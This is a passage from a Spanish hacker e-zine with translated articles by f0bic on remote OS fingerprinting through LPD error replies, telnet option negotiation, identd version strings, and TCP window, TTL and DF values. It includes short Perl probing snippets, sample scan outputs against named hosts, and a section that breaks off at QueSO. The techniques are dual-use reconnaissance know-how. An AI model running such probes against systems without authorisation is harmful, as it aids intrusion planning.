simplemente sabemos que el "formato de peticion" sirve para
enviar comandos de forma correcta al LPD.


(C) Conceptos Generales de la identificacion de huella digital
basada en el Demonio.

La identificacion de huella digital basada en el demonio confia
en su mayor parte en la autenticidad de un demonio en una
cierta plataforma. Es importante hacer esto cuando se
identifica la huella digital de demonios, mientras que cuando
estas identificando la huella digital de la pila TCP/IP, estas
realizando una identificacion de huella digital a nivel de
kernel (valores de ventana TCP por defecto, ttls, etc). Por
consiguiente es muy importante que el programa (demonio, en
este caso) al que estas identificando su huella digital sea el
instalado por defecto en el sistema, ya que esto ayudara a
saber que Sistema Operativo esta ejecutando el servidor remoto.
Dependiendo de la version del demonio, y sus caracteristicas,
puede dar una huella digital totalmente distinta del sistema
operativo.

En el siguiente ejemplo estoy usando identd para mostrar que
la autenticidad de un demonio en un Sistema Operativo es lo mas
importante en la identificacion de huella digital de un
servidor.

Identificacion de huella digital de basada en ident para Red Hat
6.2

-> "pidentd 3.0.10 2.2.5-22smp (Feb 22 2000 16:14:21)"

Identificacion de huella digital de basada en ident para Red Hat
7.0

-> "pidentd 3.0.10 for Linux 2.2.5-22smp (Jul 20 2000 15:09:20)"

Lo visto aqui arriba son las huellas digitales de identd para
las versiones 6.2 y 7.0 de Red Hat respectivamente. Si decido
intercambiar las versiones de identd y ejecutar el identd por
defecto en Red Hat 6.2 en un Red Hat 7.0, una identificacion de
huella digital basada en identd a nivel de aplicacion devolvera
Red Hat 6.2 como Sistema Operativo cuando en realidad es Red
Hat 7.0. Estos son definitivamente algunas formas de evasion
que uno debe considerar cuando realiza una identificacion de
huella digital a nivel de aplicacion.



II. Identificacion de huella digital de SO basado en el demonio de
impresion

(A) Analisis Teorico

La teoria detras de este concepto miente dentro de los limites
del RFC 1179 (Line Printer Daemon Protocol). Como se menciono
anteriormente esta es una estructura jerarquica dentro del
formato de peticiones enviadas a un LPD. El formato de mensaje
"apropiado" es descrito en el RFC 1179 de la siguiente forma:


[ RFC 1179, "Seccion 3.1 Formato de mensajes" ]

"Todos los comandos empiezan con un unico codigo octeto,
el cual es un numero binario que representa la funcion
que se ha solicitado. El codigo es inmediatamente
seguido del nombre ASCII del nombre de la cola de
impresion en el cual la funcion ha sido realizada"

[....] "El final del comando es indicado con una linea
ASCII repleta de caracteres."



[ RFC 1179, "Seccion 7 Lineas de control de archivo" ]

"Cada linea de archivo de control de archivo consiste en
una unico caracter ASCII imprimible, el cual representa
una funcion a ser realizada cuando el archivo se imprima.
La interpretacion de estos comandos es sensible a la
diferencia entre letras mayusculas y minusculas. El resto
de las lineas despues del caracter de comando son los
comandos de operando."

[....]
"Algunos comandos deben ser incluidos en cada archivo de
control. Estos son 'H' (servidor responsable) y 'P'
(usuario responsable). De forma adicional, estos deben
estar en minusculas si quieren ser reconocidos.


Los extractos de aqui arriba describen el formato correcto de
mensaje/peticion en el cual debe ser estructurada una peticion.
Este analisis teorico no hace caso de lo dicho por el primer
extracto (formatos de mensaje), pues que actualmente no
queremos enviar un formato de peticion de impresion. Y
basicamente no queremos ningun archivo impreso que salga de
alguna otra impresora de algun otro lugar :))

Como debes haber adivinado, vamos a usar los comandos de
control de archivo para "
determinar" un posible sistema
operativo en el servidor remoto. Una peticion de impresion
normal ("
correcta") se pareceria a lo siguiente:


[Estamos siguiendo la sintaxis descrita en el RFC 1179]

+---+----------+----+
| H | 10.0.0.2 | LF | - Codigo de comando {H} -> "
maquina de
+---+----------+----+ origen"

+---+----------+----+
| P | 502 | LF | - Codigo de comando {P} -> "
identificador
+---+----------+----+ de usuario"

+---+----------+----+
| f | file.txt | LF | - Codigo de comando {F} -> "
archivo a
+---+----------+----+ imprimir"


Esto permitira que un archivo llamado "
file.txt" sea imprimido
como su servidor como (originador-de-la-peticion) y cuando la
id de usuario hayan sido verificados. Dado que estamos tratando
de identificar la huella digital de un servidor remoto y puede
que no tengamos el "
servidor de origen" y el "identificador de
usuario" correctos para ejecutar una peticion de impresion
valida, tenemos que confiar en otros metodos para preguntarle
al servidor remoto sobre la informacion lpd.

En lugar de enviar una peticion valida con la correcta
estructura de la sintaxis, enviaremos una sintaxis erronea
("
incorrecta") y veremos como el LPD remoto reconoce esta
peticion. En este caso omitiermos la informacion de
autentificacion {H} y {P} y cambiaremos el comando {F} a un
comando diferente para asegurar que no recibimos respuestas
opuestas:


[Estamos descartando la sintaxis descrita en el RFC 1179]

+---+----------+----+
| M | usuario | LF | - Codigo de comando {M} -> "
mail cuando
+---+----------+----+ imprimido"


En este escenario, hemos enviado una peticion mal formada a un
LPD remoto y esperamos para una respuesta. El formato y el
contenido de esta respuesta revelan el mensaje de notificacion
de error, el cual en muchos casos identifica a un SO. Podemos
entonces construir una base de datos de posibles
reconocimientos ("
respuestas") de el lpd y emparejarlas con un
Sistema Operativo de forma fiable.


(B) Analisis Practico

Para claramente hacer constar el hecho de que los diferentes
Sistemas Operativos, en sus actuales y diferentes LPD's,
contestan de diferentes formas, he escrito un peque~o programa
que de forma clara muestra las diferencias y las similitudes
entre las diferentes huellas digitales de LPD. El programa
envia una peticion mal formada parecida a la siguiente:


+---+----------+----+
| M | r00t | LF |
+---+----------+----+


Lo siguiente son ejemplos que muestran la informacion obtenida
enviando las peticiones mal formadas descritas mas arriba. Alla
va:



::(ninja)-([f0bic]--[~])$ ./lpprint XXX.XXX.4.130
-- Connected to lpd on XXX.XXX.4.130
Reply: Invalid protocol request (77): MMr00t

[ Es una maquina SunOS/Solaris 5.7 ]


::(ninja)-([f0bic]--[~])$ ./lpprint XXX.XXX.59.200
-- Connected to lpd on XXX.XXX.59.200
Reply: Invalid protocol request (77): MMr00t

[ Es una maquina SunOS/Solaris 5.6 ]



Comenzamos a ver algunas similitudes aqui? :)
Vamos a examinar diferentes Sistemas Operativos esta
vez:



::(ninja)-([f0bic]--[~])$ ./lpprint XXX.XXX.153.2
-- Connected to lpd on XXX.XXX.153.2
Reply: 0781-201 ill-formed FROM address.

[ Es una maquina AIX 4.3 ]


::(ninja)-([f0bic]--[~])$ ./lpprint XXX.XXX.14.203
-- Connected to lpd on XXX.XXX.14.203
Reply: 0781-201 ill-formed FROM address.

[ Es una maquina AIX 4.3 ]



Obtenemos las diferentes respuestas de diferentes Sistemas
Operativos pero el mismo Sistema Operativo devuelve mensajes
similares.

NOTA: Algunos Sistemas Operativos (Compaq Tru64 Unix, HP-UX, y
parecidos) devolveran respuestas de tama~o 0, las cuales
hacen que distinguir unas de otras sea un trabajo duro.
Pero la mayoria de SO's devuelven un similar (mismo SO)
sino un diferente mensaje (diferente SO).



III. Codigo para comprobar la teoria


Tambien he creado una herramienta de "
comprobacion de teoria" que
contiene una base de datos de mensajes LPD devueltos y
coincidencias de Sistemas Operativos con estos mensajes.

Esta herramienta esta disponible en http://www.low-level.net/ y es
llamada "
lpdfp".

Disponible en: http://www.low-level.net/f0bic/releases/lpdfp.tar.gz



IV. Referencias y agradecimientos


[1] RFC 1179 : Line Printer Daemon Protocol
Network Printing Working Group
L. McLaughlin III, 1990

Disponible en: ftp://ftp.isi.edu/in-notes/rfc1179.txt


[2] Me gustaria dar las gracias a incubus en Securax por
autorizarme a substraer la huella digital de algunas
de sus maquinas. Tambien agradecer a todos los que
me han me han permitido substraer la huella digital de
su maquina (ellos saben quienes son).



V. Informacion de Contacto

f0bic@low-level.net
http://www.low-level.net

-=(EOF)=-

Editor : En la seccion 7a69Soft , se encuentra el programa "
lpdfp" .

-=( 7A69 E-zine 11 )=--=( art5 )=--=( Traduccion )=--=( Tahum )=-

# Traduccion del documento:
# Examining Advanced Remote OS Detection Methods/Concepts using Perl
#
# Traductor: Tahum - Tahum@phreaker.net
#
# Notificaciones sobre fallos de traduccion, comentarios, sugerencias, etc.
# son bienvenidos.
#
# Input Request, 2001.


Examinando los Metodos/Conceptos de Deteccion Avanzada de SOs usando Perl
-------------------------------------------------------------------------
---------[ Feb 03, 2001 - por f0bic - http://www.low-level.net ]---------


"
La mitad del trabajo ya esta hecho en este mundo,
se deben hacer cosas que hagan falta y no esten hechas."
-- Elias Root Beadle



Sinopsis

Este articulo trata la teoria y practica que hay
detras de la deteccion de sistemas operativos
centrando la practica en el lenguaje de programacion
PERL. Los metodos y conceptos para la deteccion
remota de sistemas operativos estan examinados con
detalle e implementados en codigo Perl.



I. Introduccion

A lo largo de los a~os, un servidor de informacion publico un
documento a sido publicado acerca del uso de varias tecnicas y
metodos para determinar que SO (sistema operativo) ejecuta un
determinado servidor. Dado que estas tecnicas de deteccion de SO
confian en factores que no son fiables, la precision de estas
predicciones del sistema operativo no puede ser garantizada en un 100
por ciento.

Este articulo hace hincapie en la importancia de estas circunstancias
e indica como aplicar estos metodos de deteccion de SO en perl.



II. Metodos basicos de deteccion de SO.

Antes que pase a explicar los metodos avanzados de deteccion de SO,
quiero brevemente hacer un inciso en otros metodos que pueden ser
usados para detectar el SO de servidores remotos. Estas tecnicas
pueden ser viejas, pero cumplen bien con su cometido.


(1) Cogiendo los banners por telnet

Espero que esto te sea facil de entender por ti mismo. :) Pero por
si acaso, te tienes que conectar al demonio de telnet en el
servidor remoto, y ver que es lo que muestran lor banners del
login.

(2) Cogiendo los banners por ftp

El mismo concepto que el de coger los banners por telnet,
simplemente conectando al demonio de ftp en lugar del de telnet.

(3) Metodo de las cabeceras http

Puedes determinar un SO comprobando que servidor web (httpd) esta
ejecutando el servidor. i.e Microsoft-IIS debe ser WindowsNT/2k.


Bien. Pienso que esto finaliza nuestros lecciones basicas de deteccion
remota de SO por hoy.




III. Deteccion remota de SO y conceptos de exposicion de trayectoria.

Hay una amplia variedad de tecnicas para determinar el SO de un
servidor. Este articulo trata cuatro formas para conseguir esto.


* Tomando las huellas del demonio de telnet:
confiando en las sesiones y negociaciones de telnet y 'telopts'.

* Tomando las huellas del demonio de ident:
confiando en identd/auth (113).

* Tomando las huellas de la pila TCP:
confiando en Window, TTL, ToS, y DF.

* Tomando las huellas de QueSO:
confiando en Window, Seq, Ack_seq
confiando en varias banderas de cabeceras IP/TCP.

* Tomando las huellas de forma pasiva:
Estrechamente relacionado con la toma de huellas de la pila TCP.
confiando en Window, TTL, ToS, y DF.
confiando en el trafico de red.


Abordare cada uno de estos metodos en mas detalle a lo largo de las
siguentes secciones.

Peque~o glosario:

* Ventana: Tama~o de ventana del paquete TCP - el numero maximo de
paquetes que pueden ser enviados sin haber recivido respuesta.

* TTL: Tiempo de vida - El numero maximos de saltos que un paquete
puede hacer antes de ser descartado.

* ToS: Tipo de servicio

* DF: Bit de no fragmentacion

* MSS: Tama~o maximo de segmento


Estos factores pueden usarse para determinar el sistema operativo por
el que un servidor remoto esta corriendo. Dependiendo de la
combinacion de todos estos causantes, se puede determinar el sistema
operativo en base a sus respuestas. Lo siguiente es un recorte de
tcpdump actuando con un paquete que recibe.


00:44:09.194998 eth0 < 203.9.66.52.www > mi.ip.com.dominio:
S 2006693595:2006693595(0) ack 1 win 9112 <mss 536> (DF)
(ttl 232, id 25119)


Cuando descartamos alguna informacion incluida en el paquete
obtendremos lo siguiente:



bit de no
+-> Dispositivo +-> Direccion de origen +-> fragmentacion
| | |
eth0 < 203.9.66.52.www > mi.ip.com.dominio: win 9112 (DF) (ttl 232)
| | |
+-> Direccion de destino | +-> TTL value
|
+-> Tama~o de ventana TCP




Tcpdump ha acumulado la siguiente informacion sobre el paquete:

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ Direccion de origen : mi.ip.com +
+ Puerto de origen : dominio (53) +
+ Direccion destinataria : 203.9.66.52 (www.sun.com.au) +
+ Puerto destinatario : www (80) +
+ Tama~o de ventana : 9112 (0x2398) +
+ Valor TTL : 232 +
+ Valor ToS : 0 +
+ NF (Bit de no fragmentacion) : ON +
+ Valor MSS : 536 +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


El campo 'window' (9112) puede pertenecer a un Solarios. Tambien el TTL
(232) y el ToS (0) concuerdan con el perfil de un servidor Solaris. El
TTL por defecto para el sistema operativo Solaris es 255, que da el
numero de saltos que hace en su camino hacia la direccion destino, y
puede bajar hasta un valor como 232.

Una peque~a pista en el tama~o de ventana:

Generalmente, un numero alto de tama~o de ventana indica una maquina
UNIX, mientras que los numeros peque~os son normalmente maquinas
Windows, routers, switches, etc...


El siguiente traceroute confirma nuestras espectativas de que el valor
del actual TTL es cercano a 255:


1 mi.ip.com (127.0.0.1) 148.010 ms 138.609 ms 118.812 ms
2 ??.kpnbelgium.be (194.119.225.185) 129.111 ms 138.566 ms 118.877 ms
3 ??.kpnbelgium.be (194.119.228.161) 119.008 ms 119.300 ms 128.546 ms
...
...
20 fddi0-0.chw1.sydney.telstra.net (139.130.36.227) 509.930 ms 519.879 ms 509.941 ms
21 sunmi1.lnk.telstra.net (139.130.37.142) 538.911 ms !X 509.879 ms !X 549.903 ms !X


El salto 21 es el ultimo salto que podemos conseguir de internet. Los
signos !X significan "
comunicacion administrativamente prohibida".

Nuestro TTL : 232
# de saltos : 21
+ ---
TTL total : 253

Nos faltan dos saltos para conseguir el valor por defecto del TTL de 255
de un solaris, por lo que ahora sabemos que hay dos saltos mas detras
del salto 21. El primero es un salto producido en los dispositivos de
red dentro de la red interna. El segundo salto es el del servidor
objetivo (203.9.66.52) con el TTL 255 de Solaris.
Ahora podemos (con un poco de certeza) decir que 203.9.66.52 es un
Solaris.

La trayectoria del servidor remoto es un tema importante cuando tratamos
la toma de huellas digitales. La trayectoria de un paquete puede marcar
de manera significativa diferencias entre huellas digitales de distintos
sistemas operativos. Por consiguiente, es estupendo construir un buffer
que sepa apreciar estas diferencias en el TTL.




IV. Metodos de Deteccion Remota de SO en Perl



1. Sesiones de Negociacion Telnetd (TSN) y Telnet Ops.

Esta tecnica implica que el servidor remoto este ejecutando telnetd,
permitiendote conectarte a el. Como un socket cuando telnetd es
iniciado, ejecutaremos sysread() y recogemos la huella digital de la
sesion de negociacion telnet. Una huella digital sera parecida a lo
siguiente:


Linux <= 2.2.16 : ÿý^Xÿý ÿý#ÿý'


Por norma general, para determinar un SO usando el demonio telnet,
necesitaremos saber la organizacion de TELOPT (Telnet Option) definida
en telnet.h. Cada SO tiene su propia secuancia con excepcion de unas
pocas.

Una vez hemos recogido nuestra huella digital en ascii, debemos primero
convertir esta a un valor ordinal (1-255), y entonces aslar cada valor
ordinal a su correspondiente valor TELOPT.


Valor Ascii : ÿý^Xÿý ÿý#ÿý'
Valor Ordinal : 255 253 24 255 253 32 255 253 35 255 253 39
Valor Telopts : IAC DO TELOPT_TTYPE IAC DO TELOPT_LINEMODE IAC DO TELOPT_XDISPLOC IAC DO TELOPT_NEW_ENVIRON


A pesar que los valores de TELOPT pueden ser encontrados en el archivo
/usr/include/arpa/telnet.h, los he a~adido debajo por si estas
planeando hacer una huella digitad por el demonio de telnet.


/* definiciones del protocolo telnet */

255 IAC /* interpretar como comando */
254 DONT /* Negociacion de acuerdo */
253 DO /* Solicitud de acuerdo */
252 WONT /* Confirmacion de desacuerdo */
251 WILL /* Confirmacion de acuerdo */
250 SB /* Inicio de subnegociacion */
249 GA /* Adelante, concedido */
248 EL /* Borrar la linea actual */
247 EC /* Borrar el caracter actual */
246 AYT /* Estas ahi? */
245 AO /* Abortar la salida--permite que el programa acabe */
244 IP /* Interrumpir proceso--permanente */
243 BREAK /* pausa */
242 DM /* Marca de datos--para conectar. */
241 NOP /* Sin operacion */
240 SE /* Fin de la subnegociacion */
239 EOR /* Fin del registro (modo transparente) */
238 ABORT /* Abortar Proceso */
237 SUSP /* Suspender el proceso activo */
236 EOF /* End of File (Fin de Archivo) */


/* opciones de telnet */

0 TELOPT_BINARY /* transmision de 8-bit de tama~o */
1 TELOPT_ECHO /* eco */
2 TELOPT_RCP /* prepara para reconectar */
3 TELOPT_SGA /* Esconde afirmaciones de concesion */
4 TELOPT_NAMS /* tama~o aproximado del mensaje */
5 TELOPT_STATUS /* muestra el status */
6 TELOPT_TM /* marca de cronometraje */
7 TELOPT_RCTE /* transmisiones controladas remotamente y eco */
8 TELOPT_NAOL /* negociaciones sobre el ancho de la linea de salida */
9 TELOPT_NAOP /* negociaciones sobre el ancho de la pagina de salida */
10 TELOPT_NAOCRD /* negociaciones sobre la disposicion de la tecla de retorno */
11 TELOPT_NAOHTS /* negociaciones sobre los 'tabstops' horizontales */
12 TELOPT_NAOHTD /* negociaciones sobre la disposicion del tabulador horizontal */
13 TELOPT_NAOFFD /* negociaciones sobre la disposicion del suministro de papel */
14 TELOPT_NAOVTS /* negociaciones sobre los bloqueos del tabulador */
15 TELOPT_NAOVTD /* negociaciones sobre la disposicion vertical del tabulador */
16 TELOPT_NAOLFD /* negociaciones sobre output LF disposition */
17 TELOPT_XASCII /* conjunto de caracteres ascii extendidos */
18 TELOPT_LOGOUT /* forzar fin de sesion */
19 TELOPT_BM /* byte de macro */
20 TELOPT_DET /* terminal de entrada de datos */
21 TELOPT_SUPDUP /* protocolo supdup */
22 TELOPT_SUPDUPOUTPUT /* salida supdup */
23 TELOPT_SNDLOC /* enviar localizacion */
24 TELOPT_TTYPE /* tipo de terminal */
25 TELOPT_EOR /* fin del registro */
26 TELOPT_TUID /* identificacion de usuario TACACS */
27 TELOPT_OUTMRK /* marca de salida */
28 TELOPT_TTYLOC /* numero de localizacion del terminal */
29 TELOPT_3270REGIME /* regimen 3270 */
30 TELOPT_X3PAD /* PAD X.3 */
31 TELOPT_NAWS /* tama~o de ventana */
32 TELOPT_TSPEED /* velocidad del terminal */
33 TELOPT_LFLOW /* control remoto de flujo de datos */
34 TELOPT_LINEMODE /* opcion Linemode */
35 TELOPT_XDISPLOC /* Localizacion del entorno X */
36 TELOPT_OLD_ENVIRON /* Viejas - Variables de entorno */
37 TELOPT_AUTHENTICATION /* Autentificacion */
38 TELOPT_ENCRYPT /* Funciones de codificacion */
39

  
TELOPT_NEW_ENVIRON /* Nuevas - Variables de entorno */
255 TELOPT_EXOPL /* listado extendido de opciones */


Es importante recordar que comprobar las huellas digitales de telnetd es un
metodo sumamente fiable en los servidores telnet instalados por defecto en
cualquier sistema operativo que escojas para comprobar su huella digital.
Si no estas ejecutando in.telnetd en una maquina Linux, este metodo puede
ser confiso y darte a pensar que estas ejecutando otro sistema operativo
del que verdaderamente ejecutas.

He aqui un recorte de mi archivo de huellas digitales de servidores telnet:


# demonio, version del demonio, so, version del so, arquitectura, huella

# 3Com SuperStack_II Switch
,,3Com,,SuperStack_II Switch,ÿý^C,

# HP-UX B.10.20
,,HP-UX,B.10.20,HP 9000,ÿý$,

# Linux 2.2.9
,,Linux,2.2.9,x86,ÿý^Xÿý ÿý#ÿý',

# Cobalt Linux 3.0
,,Cobalt Linux,3.0,mips,ÿý^Xÿý ÿý#ÿý',


El problema que encontramos con este tipo de huella digital es que en
algunos casos, varios SOs tienen el mismo tipo de huella digital, la cual
haga que el distinguir las huellas digitales de los SO sea un trabajo
laborioso. Como no, si hay un problema, hay igualmente una solucion.

En lugar de simplementa hacer un sysread() en el servidor telnet, podemos
mandar 'telnet opts' al servidor objetivo, obtenemos la respuesta, y lo
a~adimos a una base de datos de huellas digitales. Enviando comandos como
IAC/DO/DONT/WILL/WONT, obtendremos una clara vision de como cada sistema
operativo responde y tendremos una proyeccion mas precisa del posible
sistema operativo.


Codigo de ejemplo para obtener una huella digital de TSN:

--corta--


#!/usr/bin/perl
#
# Ejemplo de huella digital TSN (por f0bic)
# Uso: ./tsn <servidor> (puerto_telnetd)
# Tambien se puede hacer que el codigo
# compruebe los "DONT's" en lugar de los "DO's".

# TSN fingerprint example (by f0bic)
# usage: ./tsn <host> (telnetd-port)
# It is also possible to check for the DONT's
# instead of for the DO's.

use Socket;
$h=$ARGV[0];
$p="23" unless $ARGV[1];
socket(S, PF_INET, SOCK_STREAM, 6);
$iaddr=inet_aton($h);$paddr=sockaddr_in($p,$iaddr);
if(connect(S, $paddr)) {
sysread(S, $fprint, 200); # cogiendo la huella digital de telnetd
print "\n[$h - conectado]\n\nfingerprint: $fprint\n";
@ords = split(//, $fprint);print "ordinal: ";
foreach $tval (@ords){print ord($tval);print " ";} # ordinal
print "\n\n";
} else {
print "$host: cant connect!\n\n";
}


--corta--

Una vez obtienes una huella digital con tsn.pl puedes compararla con una
base de datos de huellas digitales y ver si coincide con algun sistema
operativo.


---
Ventajas: rapido, no requiere privilegios de administrador.
Desventajas: menos fiable, facilmente detectable.
---


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Herramientas para la Sesion de Negociacion Telnet:

1. Telnetfp

Autor: palmers / teso
Disponible en: http://teso.scene.at/releases/telnetfp_0.1.2.tar.gz

2. Prod-1.0

Autor: f0bic / low-level
Disponible en: http://www.low-level.net/f0bic/releases/prod-1.0/
Info: Esta es la implantacion en Perl de la tecnica de obtencion
de huella digital del servidor telnet.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


2. Huella digital de Identd

Este metodo de huella digital requiere que el servidor este ejecutando identd
y te permita conectarte a el. Estableciendo una conexion con el demonio de
identd remoto, podemos obtener informacion sobre el y compararla con un tipo
de identd, su version, y la fecha de compilacion, para determinar el sistema
operativo. Lo siguiente es un ejemplo en el cual se ha hace una conexion a un
servidor identd remoto:


::(ninja)-([f0bic]--[/sys])$ telnet www.chemie.fu-berlin.de 113
Trying 160.45.22.11...
Connected to ester.chemie.fu-berlin.de (160.45.22.11).
Escape character is '^]'.
VERSION
0 , 0 : X-VERSION : pidentd 3.0.7 for IRIX64 6.5 (Sep 15 1999 11:21:21)


La sintaxis para una contestacion identd conforma al RFC 1413 es la
siguiente:


<puerto-del-servidor> , <puerto-del-cliente> : <tipo-de-resp> : <demas_info>


En nuestro ejemplo hemos preguntado tan solo por la VERSION, asi para los
puertos que no son mostrados identd nos respondera enviando "0" para ambos
campos, tanto el puerto del servidor como el puerto del cliente. El tipo de
respuesta (tipo-de-resp) es la X-VERSION, y la informacion adicional es
pidentd 3.0.7 en IRIX64 6.5 (Sep 15 1999 11:21:21). Esto te dice que el
demonio remoto es "pidentd" version 3.0.7, corriendo por IRIX64 6.5,
compilado en Sep 15 1999 11:21:21. La mayoria de las respuestas de identd no
especifican su sistema operativo. La siguiente respuesta de ident es de un
FreeBSD 4.2-maquina estable:


0 , 0 : X-VERSION : 2.8.5 (Compiled: 11:18:59 Oct 23 2000)


En este ejemplo no podemos determinar directamente que sistema operativo esta
ejecutando el servidor remoto. A pesar de que no tengamos mucha informacion
podemos a pesar de eso comparar la version y fecha de compilacion a un
FreeBSD 4.2-estable.


---
Ventajas: rapido, no requiere privilegios de superusuario.
Disadvantages: menos fiable, facilmente detectable, necesita "for auth" para
ejecutarse.
---


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Herramientas de huella digital de SO basadas en Identd

identfp

Autor: f0bic / lowlevel -- dethy / synnergy
Disponible en: http://www.synnergy.net/Archives/Utilities/dethy/identfp.tar.gz
Info: esta es la implementacion en perl de la tecnica de huella digital de
identd.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



3. Huella digital TCP basada en la pila (TSF, TCP Stack-based Fingerprinting)

Esta es una tecnica de deteccion de SO mas fiable que trata la manipulacion
de paquetes. Desde que hagamos el trabajo de artesania de los paquetes con
TSF necesitamos tener privilegios de superusuario. Estamos confiando en
SOCK_RAW (o Net::RawIP). Este metodo trabaja de la siguiente forma:



+---------------+ SYN +-------------------+
| | ------------------------------> | |
| Origen | | Destino |
| | <------------------------------ | |
+---------------+ SYN|ACK +-------------------+
|
|
|
+----------------------------+
| Informacion del paquete: |
|----------------------------|
| |
| Origen: <dir-origen> |
| Org-Port: <puerto-orig> |
| Dest.: <dir-dest> |
| Dst-Port: <puerto-dest> |
| |
|----------------------------|
| |
| Window: <tama~o de Window> |
| TTL: <Valor TTL> |
| ToS: <Valor ToS> |
| DF: <ON o OFF> |
| MSS: <Valor MSS> |
| |
+----------------------------+


Como puedes ver en este diagrama, recibimos una respuesta SYN|ACK, la cual
indica que el puerto se encuentra en estado de escucha. Si no hubiera un
puerto a la escucha, no reciviriamos la respuesta SYN|ACK.

Una vez hemos recibido una respuesta SYN|ACK, tienen que suceder una serie de
eventos antes de que podamos identificar la huella digital del sistema
operativo:

+---------+
| SYN|ACK |
+---------+
|
| +---------------------------+
----> | <1> Informacion Acumulada |
+---------------------------+
|
| +--------------------------------+
--> | <2> Comparacion de los valores |
| Coinciden ? SI o NO |
+--------------------------------+
|
|
-------------------------------------
| |
v v
+-------------------------------+ +--------------------------------+
| SI: Continuamos identificando | | NO: Huella digital desconocida |
+-------------------------------+ +--------------------------------+
|
|
v
+-----------------------------------------------+
| <3> Proyeccion de la trayectoria del servidor |
| Sigue coincidiendo? SI o NO |
+-----------------------------------------------+
|
| +--------------------------------+
|--> | NO: Huella digital desconocida |
| +--------------------------------+
|
| +----------------------+
|--> | YES: SO identificado |
+----------------------+



<1> Informacion recopilada

Necesitamos obtener los valores de la ventana TCP, TTL, ToS y
DF para poder hacer una aproximada comparacion con la base de
datos de huellas digitales. Esta base de datos de firmas
digitales debe contener los valores por defecto de la ventana
TCP, los valores ttl, tos y df (on o off). Para adecuar este
formato puede hacer una precisa estimacion en base a los
valores SI o NO recogidos en el diagrama para la recogida de
huellas digitales de TCP basadas en la pila.

Ejemplo de una base de datos de TSF:

# so,version,arquitectura,ventana tcp,ttl,tos,df
# DF - 1 para ON / 0 para OFF

AIX,4.2,,65535,64,0,1
AIX,3.0,,16384,64,0,1
Cisco IOS,11.3,Cisco Router,4128,255,16,1
Solaris,,x86,9112,255,0,1
Solaris,8,sparc,24656,64,0,1


<2> Emparejamiento de valores de pila TCP

Despues de haber encontrado los valores, los comparamos con
una base de datos de huellas digitales conocidas y ver si
coincide con alguna. El TTL no es un valor fiable, ya que el
numero no es constante dado los saltos que el paquete tiene
que hacer desde que sale de la maquina origen hasta llegar
llegar a la maquina destino. Por lo tanto, aceptaremos este
valor y dejaremos el emparejamiento TTL para la comprobacion
de proyeccion de trayecto del servidor.

Para el ejemplo voy a usar www.sun.com.au de nuevo :)

# Informacion del paquete recivido de www.sun.com.au

Window: 9112 / TTL: 232 / ToS: 0 / DF: ON

# la Ventana TCP, ToS, y DF son parecidos a los usados
# en el sistema operativo Solaris. Por otro lado el TTL
# lo mantenemos en duda... ya que no es exactamente 255.
# Aqui es donde la proyeccion de trayecto del servidor
# viene.


<3> Proyeccion de trayecto de servidor (HPP, Host Path Projection)

Proyectando el trayecto de un paquete, podemos determinar
en cierta manera un valor TTL y como consiguiente averiguar
el SO.

El dato mas importante cuando nos referimos a TTL es su valor.
Debes coger el valor de TTL y compararlo en una base de datos
de TTLs, permitiendo situar su valor entre el que tiene y el
precedente valor TTL + 1.


+------------------------------------+
| Valor TTL | Aproximacion TTL |
|------------------------------------|
| 32 | 0 - 32 |
| 64 | 33 - 64 |
| 128 | 65 - 128 |
| 255 | 129 - 255 |
+------------------------------------+


Si comparamos nuestro valor TTL contra la tabla de mas arriba,
tendremos una idea como la siguiente:

El valor del paquete TTL es 232, por lo que se equivoca en un rango
que va desde 129 hasta 255, de forma que podemos asumir que el TTL
del servidor objetivo es probablemente 255, dando una posible
coincidencia con:


x86 Solaris Operating System (Solaris,,x86,9112,255,0,1)


En practica el valor de TTL de 255 no sera muy cercano a 129 porque
tendria que hacer 126 saltos, lo cual entra en la categoria de
inpracticable :). Pero siempre habra posibilidades de detectar una
coincidencia con algun SO.


Lo siguiente es un codigo de ejemplo para TSF, no completado la conexion
sock_raw, simplemente la parte de la huella digital, y donde encontrarla en
el paquete. Si buscas como hacer una conexion SOCK_RAW, te recomiendo
encarecidamente bajarte Net::RawIP (Probablemente lo necesitaras de cualquier
modo) y despues leer su correspondiente manual.


#!/usr/bin/perl

use Net::RawIP;

# Aqui es donde se usa la conexion SOCK_RAW.
# Puedes usar Socket w/ SOCK_RAW o usar Net::RawIP. La que quieras.
#
# Puedes fijar el valor de cualquier bandera que quieras dependiendo
# que tipo de escaneo busques realizar. Simplemente edita la
# sintaxis :)
#
# $packet->set({ ip => { saddr => $src, daddr => $daddr},
# tcp => { source => $sport, dest => $dport, syn => 1, psh => 1 } });
#


sub fingerprint_it {

$packet->bset(substr($_[2],$offset));
my ($tos, $ttl, $saddr, $desaddr, $soport, $deport, $windowsize) =
$packet->get( {ip => [qw(tos ttl saddr daddr)],
tcp => [qw(source dest window)]
});
if($windowsize) { # heh! tenemos una Ventana TCP!!!
if($windowsize eq "9112") { # Comparacion de la ventana TCP
if(($ttl <= "255") && ($ttl >= "129")) { # Comparacion de HPP TTL
$os="Solaris";
}
}
# Aqui es donde puedes comprobar coincidencias con otros SO
# ...
# ...
else {
print "\n\n Huella digital desconocida\n\n";
exit(0);
}
}
print "\n\n-- Sistema Operativo descubierto: $os\n\n";
}


Puedes guardar todos los valores de la Ventana TCP, TTL, ToS y DF en un array,
el cual haria a el codigo un poco mas limpio, y permitiria actualizarlo mas
facilmente. Simplemente busca como trabajan estas huellas digitales usando
la estructura "if".


---
Ventajas: Rapido, mas preciso que la huella digital de TSN.
Desventajas: Requiere privilegios de superusuario.
---


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Herramientas de identificacion de huella digital basadas en la pila TCP

1. nmap
Autor: Fyodor
Disponible en: http://www.insecure.org/nmap

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



4. Reconocimiento de huella digital basada en la pila TCP con distintas
banderas

En conparacion con la identificacion de huella digital basada en la pila TCP
(TSF, TCP Stack-based Fingerprinting), Queso confia en 7 factores en lugar de
1. Cuando haces una identificacion de huella digital con Queso, 7 paquetes son
enviados desde la maquina origen hasta la maquina destino, cada uno con
diferentes banderas. A continuacion esta el datagrama que explica el concepto
del tipo de escaneo realizado por Queso para reconocer huellas digitales.


+--------------------+
| Conceptos de QueSO |
+---------------------------------------------------------+
